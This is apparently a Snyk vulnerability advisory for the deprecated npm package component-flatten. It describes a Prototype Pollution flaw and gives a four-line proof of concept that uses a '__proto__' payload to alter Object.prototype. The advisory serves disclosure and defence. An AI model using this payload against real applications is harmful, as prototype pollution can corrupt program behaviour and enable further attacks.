component-flatten@1.0.0 vulnerabilities

flatten a resolved component tree

  • latest version

    1.0.1

  • first published

    11 years ago

  • latest version published

    10 years ago

  • deprecated

    Package is deprecated

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the component-flatten package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    component-flatten is a module that flattens a resolved component tree.

    Note: This package is deprecated.

    Affected versions of this package are vulnerable to Prototype Pollution. The a function could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

    PoC by JHU System Security Lab

    var a = require("component-flatten");
    var tree = {ref:"toString",name:"__proto__"};
    a(tree);
    console.log({}.toString);
    

    How to fix Prototype Pollution?

    There is no fixed version for component-flatten.

    *